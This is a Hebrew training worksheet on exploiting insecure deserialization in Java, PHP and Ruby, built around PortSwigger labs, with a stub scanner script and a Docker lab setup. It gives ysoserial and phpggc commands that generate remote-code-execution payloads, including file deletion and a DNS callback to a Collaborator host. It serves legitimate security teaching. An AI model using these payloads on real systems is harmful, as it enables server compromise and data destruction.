דסריאליזציה מתקדמת - Java - תרגיל¶
תרגיל 1 - זיהוי דסריאליזציה¶
משימה¶
השלימו את המעבדה הבאה ב-PortSwigger:
Modifying serialized objects
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects
שלבים מנחים¶
- התחברו לאפליקציה ובדקו את ה-Cookies ב-Burp
- מצאו Cookie שמכיל נתונים מסורלזים (Base64 שמתחיל ב-
rO0ABאו PHP serialized) - פענחו את הנתונים וזהו את המבנה
- שנו את השדות כדי להסלים הרשאות
- קודדו מחדש ושלחו
תרגיל 2 - שינוי סוג נתונים¶
משימה¶
Modifying serialized data types
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types
שלבים מנחים¶
- בדקו את האובייקט המסורלז ב-Cookie
- שנו את סוג הנתונים של שדה מסוים (לדוגמה, ממחרוזת למספר)
- נצלו את ההשוואה הרופפת (loose comparison) שהשרת מבצע
- השיגו גישה לחשבון אדמין
תרגיל 3 - שימוש בפונקציונליות של האפליקציה¶
משימה¶
Using application functionality to exploit insecure deserialization
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization
שלבים מנחים¶
- מצאו פונקציונליות באפליקציה שמשתמשת בנתונים מהאובייקט המסורלז
- שנו את הנתיב בתוך האובייקט כדי למחוק קובץ קריטי
- הפעילו את הפונקציונליות שגורמת לשימוש בנתיב השונה
תרגיל 4 - הזרקת אובייקט שרירותי¶
משימה¶
Exploiting Java deserialization with Apache Commons
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons
שלבים מנחים¶
- זהו שהאפליקציה משתמשת ב-Java serialization (Magic Bytes)
- הורידו את ysoserial
- נסו ליצור payload עם שרשרת CommonsCollections:
# יצירת payload שמבצע DNS lookup (לזיהוי)
java -jar ysoserial-all.jar CommonsCollections4 "nslookup YOUR-SUBDOMAIN.burpcollaborator.net" | base64
# אחרי שמזהים שעובד - payload שמוחק את המשתמש
java -jar ysoserial-all.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64
- החליפו את ה-Cookie בנתונים המסורלזים החדשים
- שלחו את הבקשה ובדקו שהפקודה הורצה
תרגיל 5 - שרשראות Gadget מותאמות¶
משימה¶
Exploiting Ruby deserialization using a documented gadget chain
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-ruby-deserialization-using-a-documented-gadget-chain
שלבים מנחים¶
- זהו את שפת התכנות שהשרת משתמש בה
- חפשו שרשרת Gadget מתועדת לשפה/ספרייה הספציפית
- בנו את ה-payload בהתאם
- קודדו ושלחו
תרגיל 6 - בניית Exploit מותאם¶
משימה¶
Developing a custom gadget chain for Java deserialization
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization
שלבים מנחים¶
- חפשו את קוד המקור של האפליקציה (לפעמים זמין ב-sitemap)
- נתחו את המחלקות הזמינות ב-classpath
- מצאו מחלקה עם
readObject()מותאם - עקבו אחרי שרשרת הקריאות עד שמוצאים דרך להריץ קוד
- בנו את האובייקט המסורלז ידנית:
import java.io.*;
import java.util.*;
public class CustomExploit {
public static void main(String[] args) throws Exception {
// TODO: בנו את שרשרת ה-Gadgets
// כל מחלקה בשרשרת צריכה להיות Serializable
// סריאליזציה של ה-payload
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(/* your gadget chain object */);
oos.close();
// קידוד Base64
String encoded = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(encoded);
}
}
תרגיל 7 - PHAR דסריאליזציה¶
משימה¶
Exploiting PHP deserialization with a pre-built gadget chain
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain
שלבים מנחים¶
- זהו שהאפליקציה משתמשת בפריימוורק PHP ספציפי
- השתמשו ב-phpggc כדי ליצור payload:
# רשימת שרשראות זמינות
./phpggc -l
# יצירת payload
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' -b
- מצאו דרך להעביר את ה-payload לדסריאליזציה (Cookie, פרמטר, קובץ)
תרגיל 8 - סקריפט סריקה¶
משימה¶
כתבו סקריפט Python שמזהה נקודות דסריאליזציה בבקשות HTTP:
#!/usr/bin/env python3
"""
Java Deserialization Endpoint Scanner
"""
import requests
import base64
import re
# Magic bytes של Java serialization
JAVA_MAGIC = b'\xac\xed\x00\x05'
JAVA_MAGIC_B64 = 'rO0AB'
def check_parameter(value):
"""בדיקה אם ערך פרמטר מכיל נתונים מסורלזים"""
# TODO: בדקו:
# 1. האם מתחיל ב-rO0AB (Base64 של Java magic bytes)
# 2. האם אחרי Base64 decode מתחיל ב-AC ED 00 05
# 3. האם נראה כמו PHP serialized (O:4:"User":...)
# 4. האם נראה כמו .NET ViewState
pass
def scan_request(method, url, headers, body):
"""סריקת בקשת HTTP לזיהוי דסריאליזציה"""
findings = []
# TODO: בדקו:
# 1. Content-Type headers
# 2. Cookie values
# 3. URL parameters
# 4. POST body parameters
# 5. Custom headers
return findings
def test_deserialization(url, param, method="GET"):
"""ניסיון ניצול עם URLDNS payload"""
# TODO:
# 1. צרו URLDNS payload עם ysoserial
# 2. שלחו אותו בפרמטר הפגיע
# 3. בדקו ב-Collaborator אם הגיעה בקשת DNS
pass
דרישות¶
- הסקריפט צריך לקבל קובץ Burp XML export כקלט
- לסרוק את כל הבקשות ולזהות נתונים מסורלזים
- לנסות payload של URLDNS על כל נקודה שנמצאה
- להדפיס דוח עם הממצאים
תרגיל בונוס - מעבדה מקומית¶
משימה¶
הקימו מעבדה מקומית עם אפליקציה פגיעה:
# הרצת DeserLab - מעבדה ייעודית לדסריאליזציה
docker pull bkimminich/juice-shop
docker run -p 3000:3000 bkimminich/juice-shop
# או הרצת WebGoat
docker pull webgoat/webgoat
docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat
משימות¶
- מצאו את נקודת הדסריאליזציה באפליקציה
- זהו את הספריות ב-classpath
- נסו שרשראות שונות של ysoserial
- השיגו RCE
- תעדו את כל התהליך
סביבות תרגול נוספות¶
- PortSwigger: כל מעבדות ה-Deserialization (כולל Expert)
- HackTheBox: מכונות עם תגית Java/Deserialization
- TryHackMe: "Intro to Java Deserialization" room
- VulnHub: DeserLab